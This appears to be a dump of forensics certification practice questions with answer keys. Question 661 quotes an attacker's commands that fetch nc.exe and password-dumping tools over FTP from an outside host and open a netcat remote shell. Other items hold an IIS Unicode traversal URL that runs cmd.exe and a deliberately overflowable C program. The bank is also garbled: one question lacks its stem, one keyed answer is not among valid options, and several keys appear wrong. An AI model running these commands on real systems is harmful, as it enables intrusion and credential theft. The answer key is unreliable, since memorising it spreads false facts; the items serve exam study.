Julia is a senior security analyst for Berber Consulting group. She is currently working on a contract for a small accounting firm in Florid a. They have given her permission to perform social engineering attacks on the company to see if their in-house training did any good. Julia calls the main number for the accounting firm and talks to the receptionist. Julia says that she is an IT technician from the company's main office in Iowa. She states that she needs the receptionist's network username and password to troubleshoot a problem they are having. Julia says that Bill Hammond, the CEO of the company, requested this information. After hearing the name of the CEO, the receptionist gave Julia all the information she asked for. What principal of social engineering did Julia use?

- A. Social Validation
- B. Scarcity
- C. Friendship/Liking
- D. Reciprocation

**Answer:** D

#### NEW QUESTION 606

- (Exam Topic 1)

Bob has been trying to penetrate a remote production system for the past two weeks. This time however, he is able to get into the system. He was able to use the System for a period of three weeks. However, law enforcement agencies were recoding his every activity and this was later presented as evidence. The organization had used a Virtual Environment to trap Bob. What is a Virtual Environment?

- A. A Honeypot that traps hackers
- B. A system Using Trojaned commands
- C. An environment set up after the user logs in
- D. An environment set up before a user logs in

**Answer:** A

#### NEW QUESTION 610

- (Exam Topic 1)

Sectors in hard disks typically contain how many bytes?

- A. 256
- B. 512
- C. 1024
- D. 2048

**Answer:** B

#### NEW QUESTION 611

- (Exam Topic 1)

- A. 202
- B. 404
- C. 505
- D. 909

**Answer:** B

#### NEW QUESTION 614

- (Exam Topic 1)

You are a computer forensics investigator working with local police department and you are called to assist in an investigation of threatening emails. The complainant has printer out 27 email messages from the suspect and gives the printouts to you. You inform her that you will need to examine her computer because you need access to the \_\_\_\_\_ in order to track the emails back to the suspect.

- A. Routing Table
- B. Firewall log
- C. Configuration files
- D. Email Header

**Answer:** D

#### NEW QUESTION 619

- (Exam Topic 1)

A packet is sent to a router that does not have the packet destination address in its route table. How will the packet get to its proper destination?

- A. Root Internet servers
- B. Border Gateway Protocol
- C. Gateway of last resort
- D. Reverse DNS

**Answer:** C

#### NEW QUESTION 622

- (Exam Topic 1)

During the course of a corporate investigation, you find that an Employee is committing a crime. Can the Employer file a criminal complaint with Police?

- A. Yes, and all evidence can be turned over to the police
- B. Yes, but only if you turn the evidence over to a federal law enforcement agency
- C. No, because the investigation was conducted without following standard police procedures
- D. No, because the investigation was conducted without warrant

**Answer:** A

#### NEW QUESTION 625

- (Exam Topic 1)

What are the security risks of running a "repair" installation for Windows XP?

- A. Pressing Shift+F10 gives the user administrative rights
- B. Pressing Shift+F1 gives the user administrative rights

- C. Pressing Ctrl+F10 gives the user administrative rights
- D. There are no security risks when running the "repair" installation for Windows XP

**Answer:** A

#### NEW QUESTION 629

- (Exam Topic 1)

You are working as a Computer forensics investigator for a corporation on a computer abuse case. You discover evidence that shows the subject of your investigation is also embezzling money from the company. The company CEO and the corporate legal counsel advise you to contact law enforcement and provide them with the evidence that you have found. The law enforcement officer that responds requests that you put a network sniffer on your network and monitor all traffic to the subject's computer. You inform the officer that you will not be able to comply with that request because doing so would:

- A. Violate your contract
- B. Cause network congestion
- C. Make you an agent of law enforcement
- D. Write information to the subject's hard drive

**Answer:** C

#### NEW QUESTION 631

- (Exam Topic 1)

You are called in to assist the police in an investigation involving a suspected drug dealer. The suspects house was searched by the police after a warrant was obtained and they located a floppy disk in the suspects bedroom. The disk contains several files, but they appear to be password protected. What are two common methods used by password cracking software that you can use to obtain the password?

- A. Limited force and library attack
- B. Brute Force and dictionary Attack
- C. Maximum force and thesaurus Attack
- D. Minimum force and appendix Attack

**Answer:** B

#### NEW QUESTION 635

- (Exam Topic 1)

You work as an IT security auditor hired by a law firm in Boston to test whether you can gain access to sensitive information about the company clients. You have rummaged through their trash and found very little information. You do not want to set off any alarms on their network, so you plan on performing passive foot printing against their Web servers. What tool should you use?

- A. Ping sweep
- B. Nmap
- C. Netcraft
- D. Dig

**Answer:** C

#### NEW QUESTION 639

- (Exam Topic 1)

What file structure database would you expect to find on floppy disks?

- A. NTFS
- B. FAT32
- C. FAT16
- D. FAT12

**Answer:** D

#### NEW QUESTION 643

- (Exam Topic 1)

You are working for a local police department that services a population of 1,000,000 people and you have been given the task of building a computer forensics lab. How many law-enforcement computer investigators should you request to staff the lab?

- A. 8
- B. 1
- C. 4
- D. 2

**Answer:** C

#### NEW QUESTION 644

- (Exam Topic 1)

Larry is an IT consultant who works for corporations and government agencies. Larry plans on shutting down the city's network using BGP devices and zombies? What type of Penetration Testing is Larry planning to carry out?

- A. Router Penetration Testing
- B. DoS Penetration Testing
- C. Firewall Penetration Testing
- D. Internal Penetration Testing

**Answer:** B

**NEW QUESTION 645**

- (Exam Topic 1)

You have been asked to investigate after a user has reported a threatening e-mail they have received from an external source. Which of the following are you most interested in when trying to trace the source of the message?

- A. The X509 Address
- B. The SMTP reply Address
- C. The E-mail Header
- D. The Host Domain Name

**Answer:** C

**NEW QUESTION 650**

- (Exam Topic 1)

If you plan to startup a suspect's computer, you must modify the \_\_\_\_\_ to ensure that you do not contaminate or alter data on the suspect's hard drive by booting to the hard drive.

- A. deltree command
- B. CMOS
- C. Boot.sys
- D. Scandisk utility

**Answer:** C

**NEW QUESTION 652**

- (Exam Topic 1)

Kimberly is studying to be an IT security analyst at a vocational school in her town. The school offers many different programming as well as networking languages. What networking protocol language should she learn that routers utilize?

- A. ATM
- B. UDP
- C. BPG
- D. OSPF

**Answer:** D

**NEW QUESTION 654**

- (Exam Topic 1)

The rule of thumb when shutting down a system is to pull the power plug. However, it has certain drawbacks. Which of the following would that be?

- A. Any data not yet flushed to the system will be lost
- B. All running processes will be lost
- C. The /tmp directory will be flushed
- D. Power interruption will corrupt the pagefile

**Answer:** A

**NEW QUESTION 655**

- (Exam Topic 1)

If a suspect computer is located in an area that may have toxic chemicals, you must:

- A. coordinate with the HAZMAT team
- B. determine a way to obtain the suspect computer
- C. assume the suspect machine is contaminated
- D. do not enter alone

**Answer:** A

**NEW QUESTION 656**

- (Exam Topic 1)

Which is a standard procedure to perform during all computer forensics investigations?

- A. with the hard drive removed from the suspect PC, check the date and time in the system's CMOS
- B. with the hard drive in the suspect PC, check the date and time in the File Allocation Table
- C. with the hard drive removed from the suspect PC, check the date and time in the system's RAM
- D. with the hard drive in the suspect PC, check the date and time in the system's CMOS

**Answer:** A

**NEW QUESTION 661**

- (Exam Topic 1)

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a



Unicode attack and eventually succeeds in displaying boot.ini.

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.

```
"cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00 >>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get pdump.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe" What can you infer from the exploit given?
```

- A. It is a local exploit where the attacker logs in using username johna2k
- B. There are two attackers on the system - johna2k and haxedj00
- C. The attack is a remote exploit and the hacker downloads three files
- D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port

**Answer: C**

**Explanation:**

The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.

**NEW QUESTION 666**

- (Exam Topic 1)

What will the following URL produce in an unpatched IIS Web Server? <http://www.thetargetsite.com/scripts/..%co%af../..%co%af../windows/system32/cmd.exe?/c+dir+c:\>

- A. Directory listing of C: drive on the web server
- B. Insert a Trojan horse into the C: drive of the web server
- C. Execute a buffer flow in the C: drive of the web server
- D. Directory listing of the C:\windows\system32 folder on the web server

**Answer: A**

**NEW QUESTION 671**

- (Exam Topic 1)

You are working as an independent computer forensics investigator and received a call from a systems administrator for a local school system requesting your assistance. One of the students at the local high school is suspected of downloading inappropriate images from the Internet to a PC in the Computer lab. When you arrive at the school, the systems administrator hands you a hard drive and tells you that he made a "simple backup copy" of the hard drive in the PC and put it on this drive and requests that you examine that drive for evidence of the suspected images. You inform him that a "simple backup copy" will not provide deleted files or recover file fragments.

What type of copy do you need to make to ensure that the evidence found is complete and admissible in future proceeding?

- A. Bit-stream Copy
- B. Robust Copy
- C. Full backup Copy
- D. Incremental Backup Copy

**Answer: A**

**NEW QUESTION 673**

- (Exam Topic 1)

How many sectors will a 125 KB file use in a FAT32 file system?

- A. 32
- B. 16
- C. 256
- D. 25

**Answer: C**

**NEW QUESTION 676**

- (Exam Topic 1)

Jim performed a vulnerability analysis on his network and found no potential problems. He runs another utility that executes exploits against his system to verify the results of the vulnerability test.

The second utility executes five known exploits against his network in which the vulnerability analysis said were not exploitable. What kind of results did Jim receive from his vulnerability analysis?

- A. False negatives
- B. False positives
- C. True negatives
- D. True positives

**Answer: A**

**NEW QUESTION 681**

- (Exam Topic 1)

The use of warning banners helps a company avoid litigation by overcoming an employee assumed \_\_\_\_\_. When connecting to the company's intranet, network or Virtual Private Network(VPN) and will allow the company's investigators to monitor, search and retrieve information stored within the network.

- A. Right to work

- B. Right of free speech
- C. Right to Internet Access
- D. Right of Privacy

**Answer:** D

#### NEW QUESTION 683

- (Exam Topic 1)

When using Windows acquisitions tools to acquire digital evidence, it is important to use a well-tested hardware write-blocking device to:

- A. Automate Collection from image files
- B. Avoiding copying data from the boot partition
- C. Acquire data from host-protected area on a disk
- D. Prevent Contamination to the evidence drive

**Answer:** D

#### NEW QUESTION 686

- (Exam Topic 1)

A suspect is accused of violating the acceptable use of computing resources, as he has visited adult websites and downloaded images. The investigator wants to demonstrate that the suspect did indeed visit these sites. However, the suspect has cleared the search history and emptied the cookie cache. Moreover, he has removed any images he might have downloaded. What can the investigator do to prove the violation?

- A. Image the disk and try to recover deleted files
- B. Seek the help of co-workers who are eye-witnesses
- C. Check the Windows registry for connection data (you may or may not recover)
- D. Approach the websites for evidence

**Answer:** A

#### NEW QUESTION 687

- (Exam Topic 1)

When a file is deleted by Windows Explorer or through the MS-DOS delete command, the operating system inserts \_\_\_\_\_ in the first letter position of the filename in the FAT database.

- A. A Capital X
- B. A Blank Space
- C. The Underscore Symbol
- D. The lowercase Greek Letter Sigma (s)

**Answer:** D

#### NEW QUESTION 690

- (Exam Topic 1)

Melanie was newly assigned to an investigation and asked to make a copy of all the evidence from the compromised system. Melanie did a DOS copy of all the files on the system. What would be the primary reason for you to recommend a disk imaging tool?

- A. A disk imaging tool would check for CRC32s for internal self-checking and validation and have MD5 checksum
- B. Evidence file format will contain case data entered by the examiner and encrypted at the beginning of the evidence file
- C. A simple DOS copy will not include deleted files, file slack and other information
- D. There is no case for an imaging tool as it will use a closed, proprietary format that if compared to the original will not match up sector for sector

**Answer:** C

#### NEW QUESTION 694

- (Exam Topic 1)

You are trying to locate Microsoft Outlook Web Access Default Portal using Google search on the Internet. What search string will you use to locate them?

- A. allinurl:"exchange/logon.asp"
- B. intitle:"exchange server"
- C. locate:"logon page"
- D. outlook:"search"

**Answer:** A

#### NEW QUESTION 699

- (Exam Topic 1)

On Linux/Unix based Web servers, what privilege should the daemon service be run under?

- A. Guest
- B. Root
- C. You cannot determine what privilege runs the daemon service
- D. Something other than root

**Answer:** D



#### NEW QUESTION 701

- (Exam Topic 1)

Lance wants to place a honeypot on his network. Which of the following would be your recommendations?

- A. Use a system that has a dynamic addressing on the network
- B. Use a system that is not directly interacting with the router
- C. Use it on a system in an external DMZ in front of the firewall
- D. It doesn't matter as all replies are faked

**Answer:** D

#### NEW QUESTION 703

- (Exam Topic 1)

Before you are called to testify as an expert, what must an attorney do first?

- A. engage in damage control
- B. prove that the tools you used to conduct your examination are perfect
- C. read your curriculum vitae to the jury
- D. qualify you as an expert witness

**Answer:** D

#### NEW QUESTION 708

- (Exam Topic 1)

You are working on a thesis for your doctorate degree in Computer Science. Your thesis is based on HTML, DHTML, and other web-based languages and how they have evolved over the years.

You navigate to archive.org and view the HTML code of news.com. You then navigate to the current news.com website and copy over the source code. While searching through the code, you come across something abnormal: What have you found?

- A. Web bug
- B. CGI code
- C. Trojan.downloader
- D. Blind bug

**Answer:** A

#### NEW QUESTION 710

- (Exam Topic 1)

Chris has been called upon to investigate a hacking incident reported by one of his clients. The company suspects the involvement of an insider accomplice in the attack. Upon reaching the incident scene, Chris secures the physical area, records the scene using visual media. He shuts the system down by pulling the power plug so that he does not disturb the system in any way. He labels all cables and connectors prior to disconnecting any. What do you think would be the next sequence of events?

- A. Connect the target media; prepare the system for acquisition; Secure the evidence; Copy the media
- B. Prepare the system for acquisition; Connect the target media; copy the media; Secure the evidence
- C. Connect the target media; Prepare the system for acquisition; Secure the evidence; Copy the media
- D. Secure the evidence; prepare the system for acquisition; Connect the target media; copy the media

**Answer:** B

#### NEW QUESTION 714

- (Exam Topic 1)

\_\_\_\_\_ is simply the application of Computer Investigation and analysis techniques in the interests of determining potential legal evidence.

- A. Network Forensics
- B. Computer Forensics
- C. Incident Response
- D. Event Reaction

**Answer:** B

#### NEW QUESTION 719

- (Exam Topic 1)

You are called by an author who is writing a book and he wants to know how long the copyright for his book will last after he has the book published?

- A. 70 years
- B. the life of the author
- C. the life of the author plus 70 years
- D. copyrights last forever

**Answer:** C

#### NEW QUESTION 723

- (Exam Topic 1)

Kyle is performing the final testing of an application he developed for the accounting department. His last round of testing is to ensure that the program is as secure as possible. Kyle runs the following command. What is he testing at this point?

```
#include #include int main(int argc, char  
*argv[]) { char buffer[10]; if (argc < 2) { fprintf (stderr, "USAGE: %s string\n", argv[0]); return 1; } strcpy(buffer, argv[1]); return 0; }
```

- A. Buffer overflow
- B. SQL injection
- C. Format string bug
- D. Kernal injection

**Answer:** A

#### NEW QUESTION 728

- (Exam Topic 1)

An employee is attempting to wipe out data stored on a couple of compact discs (CDs) and digital video discs (DVDs) by using a large magnet. You inform him that this method will not be effective in wiping out the data because CDs and DVDs are \_\_\_\_\_ media used to store large amounts of data and are not affected by the magnet.

- A. logical
- B. anti-magnetic
- C. magnetic
- D. optical

**Answer:** D

#### NEW QUESTION 731

- (Exam Topic 1)

An Expert witness give an opinion if:

- A. The Opinion, inferences or conclusions depend on special knowledge, skill or training not within the ordinary experience of lay jurors
- B. To define the issues of the case for determination by the finder of fact
- C. To stimulate discussion between the consulting expert and the expert witness
- D. To deter the witness from expanding the scope of his or her investigation beyond the requirements of the case

**Answer:** A

#### NEW QUESTION 736

- (Exam Topic 1)

Simon is a former employee of Trinitron XML Inc. He feels he was wrongly terminated and wants to hack into his former company's network. Since Simon remembers some of the server names, he attempts to run the axfr and ixfr commands using DIG. What is Simon trying to accomplish here?

- A. Send DOS commands to crash the DNS servers
- B. Perform DNS poisoning
- C. Perform a zone transfer
- D. Enumerate all the users in the domain

**Answer:** C

#### NEW QUESTION 737

- (Exam Topic 1)

When examining the log files from a Windows IIS Web Server, how often is a new log file created?

- A. the same log is used at all times
- B. a new log file is created everyday
- C. a new log file is created each week
- D. a new log is created each time the Web Server is started

**Answer:** A

#### NEW QUESTION 738

- (Exam Topic 1)

In conducting a computer abuse investigation you become aware that the suspect of the investigation is using ABC Company as his Internet Service Provider (ISP). You contact ISP and request that they provide you assistance with your investigation. What assistance can the ISP provide?

- A. The ISP can investigate anyone using their service and can provide you with assistance
- B. The ISP can investigate computer abuse committed by their employees, but must preserve the privacy of their customers and therefore cannot assist you without a warrant
- C. The ISP can't conduct any type of investigations on anyone and therefore can't assist you
- D. ISP's never maintain log files so they would be of no use to your investigation

**Answer:** B

#### NEW QUESTION 742

- (Exam Topic 1)

With the standard Linux second extended file system (Ext2fs), a file is deleted when the inode internal link count reaches \_\_\_\_\_.

- A. 10
- B. 100
- C. 1

**Answer:** A

#### NEW QUESTION 744

- (Exam Topic 1)

John and Hillary works at the same department in the company. John wants to find out Hillary's network password so he can take a look at her documents on the file server. He enables Lophtrcrack program to sniffing mode. John sends Hillary an email with a link to Error! Reference source not found. What information will he be able to gather from this?

- A. Hillary network username and password hash
- B. The SID of Hillary network account
- C. The SAM file from Hillary computer
- D. The network shares that Hillary has permissions

**Answer:** A

#### NEW QUESTION 747

- (Exam Topic 1)

Law enforcement officers are conducting a legal search for which a valid warrant was obtained.

While conducting the search, officers observe an item of evidence for an unrelated crime that was not included in the warrant. The item was clearly visible to the officers and immediately identified as evidence. What is the term used to describe how this evidence is admissible?

- A. Plain view doctrine
- B. Corpus delicti
- C. Locard Exchange Principle
- D. Ex Parte Order

**Answer:** A

#### NEW QUESTION 749

- (Exam Topic 1)

With Regard to using an Antivirus scanner during a computer forensics investigation, You should:

- A. Scan the suspect hard drive before beginning an investigation
- B. Never run a scan on your forensics workstation because it could change your systems configuration
- C. Scan your forensics workstation at intervals of no more than once every five minutes during an investigation
- D. Scan your Forensics workstation before beginning an investigation

**Answer:** D

#### NEW QUESTION 750

- (Exam Topic 1)

You are assisting in the investigation of a possible Web Server Hack. The company who called you stated that customers reported to them that whenever they entered the web address of the company in their browser, what they received was a porno graphic web site. The company checked the web server and nothing appears wrong. When you type in the IP address of the web site in your browser everything appears normal. What is the name of the attack that affects the DNS cache of the name resolution servers, resulting in those servers directing users to the wrong web site?

- A. ARP Poisoning
- B. DNS Poisoning
- C. HTTP redirect attack
- D. IP Spoofing

**Answer:** B

#### NEW QUESTION 752

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